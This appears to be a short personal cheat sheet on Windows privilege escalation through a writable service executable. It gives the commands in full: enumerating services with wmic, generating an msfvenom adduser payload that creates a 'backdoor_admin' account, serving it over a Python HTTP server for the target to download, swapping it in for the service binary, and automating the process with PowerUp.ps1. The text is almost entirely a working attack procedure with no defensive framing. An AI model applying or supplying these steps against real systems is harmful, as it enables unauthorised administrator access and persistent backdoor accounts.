Writable Service Executable

On windows : 
>>> wmic service get name,startname,pathname

If you found the writable vuln service ,then move to thst folder in which it is stored with GUI .
And to confirm make a test.txt file inside that folder..

On Kali : 
>>> msfvenom -p windows/adduser USER=backdoor_admin PASS=piyush -f exe  > service.exe
>>> python3 -m http.server

NOW : 
On windows open browser and visitto your web service and download that payload and replace it with the original one.

open ‘services’ program from start button.
find our vulnerable service..
Right click the service and click on start
<Don't worry about hte error>
open powershell :

>>> net users
<we have our new account>


==========Bonus here : 
If you dont like to fiind service mannualy, use : 

link : https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

transfer it to windows arget machine and run following commands in powershell : 
>>> Import-Module .\PowerUp.ps1
>>> Invoke-AllChecks
>>> Install-ServiceBinary -Name “<vulnerable_service>”
now go and restart the service as guided above .

>>> net users